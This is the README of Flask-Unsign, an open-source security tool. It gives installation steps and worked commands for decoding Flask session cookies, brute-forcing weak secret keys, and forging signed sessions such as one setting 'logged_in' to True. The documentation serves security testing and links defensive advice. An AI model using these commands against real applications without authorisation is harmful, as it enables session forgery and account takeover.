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https://github.com/Paradoxis/Flask-Unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
https://github.com/Paradoxis/Flask-Unsign

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Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

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README 

        
# Flask Unsign

[![Build Status](https://travis-ci.com/Paradoxis/Flask-Unsign.svg?branch=master)](https://travis-ci.com/Paradoxis/Flask-Unsign)

[![PyPI version](https://badge.fury.io/py/flask-unsign.svg)](https://badge.fury.io/py/flask-unsign)

[![codecov](https://codecov.io/gh/Paradoxis/Flask-Unsign/branch/master/graph/badge.svg)](https://codecov.io/gh/Paradoxis/Flask-Unsign)



Command line tool to fetch, decode, brute-force and craft session cookies of a Flask  application by guessing secret keys.

For the standalone wordlist component, please visit the [flask-unsign-wordlist](https://github.com/Paradoxis/Flask-Unsign-Wordlist) repository.



## Requirements

* Python 3.6+



## Installation

To install the application, simply use pip:



```

$ pip3 install flask-unsign[wordlist]

```



If you only want to install the core code, omit the `[wordlist]` suffix:



``` 

$ pip3 install flask-unsign

```



To install the tool for development purposes, run the following command (after downloading a copy):



```

$ pip3 install -e .[test]

```



## Usage



To get an overview of all possible options, simply call flask-unsign without 

any arguments like so:



``` 

$ flask-unsign

```



### Obtaining & Decoding Session Cookies

Due to the fact that Flask cookies are **signed** and **not encrypted**, it's 

possible to locally decode the session data. For this, you can use the `--decode` 

argument.



Session cookies can be obtained by inspecting your HTTP requests using a proxy 

like  Burp Proxy, using your browser's network inspector or using a browser 

extension to view/change your cookies. By default, Flask uses the session name

`"session"`. 



```

$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

{'logged_in': False}

```



You can also use Flask-Unsign's automatic session grabbing functionality by 

passing the `--server` argument, instead of the `--cookie` argument. *Do note 

however, **that not all web pages might return a session**, so be sure to pass an

url which does.*



``` 

$ flask-unsign --decode --server 'https://www.example.com/login'

[*] Server returned HTTP 302 (FOUND)

[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8

{'logged_in': False}

```



### Unsigning (Brute Forcing Secret Keys)

After obtaining a sample session cookie, you'll be able to attempt to brute-force 

the server's secret key. If you're lucky, this might be set to something easy to 

guess, or if it's been found online, it might be in one of your wordlists. For 

this, you can use the `--unsign` argument.



``` 

$ flask-unsign --unsign --cookie < cookie.txt

[*] Session decodes to: {'logged_in': False}

[*] No wordlist selected, falling back to default wordlist..

[*] Starting brute-forcer with 8 threads..

[+] Found secret key after 351 attempts

'CHANGEME'

```



### Signing (Session Manipulation)

Once you've obtained the server's secret key, you'll be able to craft your own 

custom session data. For this, you can use the `--sign` argument.



``` 

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

``` 



## Troubleshooting



* **Installing the program results in an error**

    * You might be using the wrong `pip` binary, try using

      the following command: `python3.6 -m pip install flask-unsign`

* **I found a secret key, but my crafted sessions don't work!**

    * It might be possible that your target server uses an older version of 

      [itsdangerous](https://github.com/pallets/itsdangerous). Due to 

      [an issue](https://github.com/pallets/itsdangerous/issues/46) with timed 

      sessions, the timestamp generation algorithm was changed. 

      To generate an older signature, try using the `--legacy` option.

* **My wordlist doesn't work**

    * Wordlists expect to be newline delimited 

      [python strings](https://docs.python.org/3/library/stdtypes.html#str) 

      (meaning you need to encapsulate them in quotes), this is so that 

      binary strings can easily be stored in a newline format. If you don't want 

      this, you can disable this feature by passing the `--no-literal-eval` 

      argument.



## How it works

If you're wondering how exactly this works, refer to my 

[blog post](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce) 

which explains this in great detail, including a guide on how to protect your own server from this attack.



## License

MIT License



Copyright (c) 2021 Luke Paris (Paradoxis)



Permission is hereby granted, free of charge, to any person obtaining a copy

of this software and associated documentation files (the "Software"), to deal

in the Software without restriction, including without limitation the rights

to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

copies of the Software, and to permit persons to whom the Software is

furnished to do so, subject to the following conditions:



The above copyright notice and this permission notice shall be included in all

copies or substantial portions of the Software.



THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

SOFTWARE.